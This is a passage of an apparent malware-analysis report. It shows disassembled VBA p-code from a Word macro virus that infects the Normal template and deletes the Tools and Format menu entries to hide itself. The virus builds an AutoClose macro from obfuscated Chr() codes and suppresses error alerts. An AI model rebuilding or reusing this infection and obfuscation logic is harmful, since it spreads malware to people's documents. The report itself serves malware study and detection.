LitVarSpecial (False) ' Eq ' And ' If ' BoSImplicit ' SetStmt ' Ld ActiveDocument ' Set Doc ' EndIf ' Line #17: ' Ld ActivInstall ' LitVarSpecial (False) ' Eq ' Ld NormInstall ' LitVarSpecial (True) ' Eq ' And ' If ' BoSImplicit ' SetStmt ' Ld NormalTemplate ' Set Doc ' EndIf ' Line #18: ' Ld wdDocumentsPath ' Ld Options ' ArgsMemLd DefaultFilePath 0x0001 ' St Pad ' Line #19: ' LitStr 0x0008 "NewMacro" ' Ld Doc ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd CodeModule ' MemLd CountOfLines ' St ModuleLength ' Line #20: ' Ld NormalTemplate ' ArgsMemCall Save 0x0000 ' Line #21: ' Ld Pad ' LitStr 0x000D "\NewMacro.txt" ' Paren ' Add ' LitStr 0x0008 "NewMacro" ' Ld Doc ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' ArgsMemCall Export 0x0001 ' Line #22: ' ArgsCall (Call) CreateMacro 0x0000 ' Line #23: ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld wdFormatDocument ' ParamNamed FileFormat ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0002 ' Line #24: ' Label Label_Exit ' Line #25: ' LitStr 0x0018 "Templates and Add-Ins..." ' LitStr 0x0005 "Tools" ' ArgsLd CommandBars 0x0001 ' ArgsMemLd Controls 0x0001 ' ArgsMemCall Delete 0x0000 ' Line #26: ' LitStr 0x0008 "Style..." ' LitStr 0x0006 "Format" ' ArgsLd CommandBars 0x0001 ' ArgsMemLd Controls 0x0001 ' ArgsMemCall Delete 0x0000 ' Line #27: ' Ld NormInstall ' LitVarSpecial (True) ' Eq ' If ' BoSImplicit ' ArgsCall (Call) Create_Loader 0x0000 ' EndIf ' Line #28: ' ArgsCall (Call) Restorepath 0x0000 ' Line #29: ' LitVarSpecial (True) ' Ld Application ' MemSt ScreenUpdating ' Line #30: ' Ld wdAlertsAll ' Ld Application ' MemSt DisplayAlerts ' Line #31: ' Ld wdCancelInterrupt ' Ld Application ' MemSt EnableCancelKey ' Line #32: ' EndSub ' Line #33: ' FuncDefn (Sub CreateMacro()) ' Line #34: ' LitVarSpecial (False) ' Ld Application ' MemSt ScreenUpdating ' Line #35: ' Dim ' OptionBase ' LitDI2 0x0017 ' VarDefn decrypt ' Line #36: ' LitDI2 0x0041 ' ArgsLd Chr 0x0001 ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0069 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0062 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0075 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0056 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0042 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x005F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x004E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x003D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0022 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x004D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0063 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x005F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0052 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0075 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0022 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0001 ' ArgsSt decrypt 0x0001 ' Line #37: ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' LitDI2 0x0075 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0062 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0041 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0075 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0043 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0073 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0028 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0029 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0002 ' ArgsSt decrypt 0x0001 ' Line #38: ' LitDI2 0x004F ' ArgsLd Chr 0x0001 ' LitDI2 0x006E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0052 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0073 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0075 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x004E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0078 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0003 ' ArgsSt decrypt 0x0001 ' Line #39: ' LitDI2 0x0041 ' ArgsLd Chr 0x0001 ' LitDI2 0x0070 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0070 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0069 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0063 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0069 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x002E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0044 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0069 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0073 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0070 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0079 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0041 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0073 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x003D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0077 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0064 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0041 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0073 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x004E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0004 ' ArgsSt decrypt 0x0001 ' Line #40: ' LitDI2 0x0050 ' ArgsLd Chr 0x0001 ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0064 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x003D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x004F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0070 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0069 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0073 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x002E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0044 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0066 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0075 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0046 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0069 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0050 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0068 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0028 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0077 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0064 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0044 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0063 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0075 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0073 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0050 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0074 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0068 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0029 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0005 ' ArgsSt decrypt 0x0001 ' Line #41: ' LitDI2 0x0046 ' ArgsLd Chr 0x0001 ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0049 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x003D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0031 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0054 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x004E ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0072 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0061 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0054 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0065 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006D ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0070 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x006C ' ArgsLd Chr 0x0001 …

Open this report in the interactive analyzer, or submit your own file for analysis.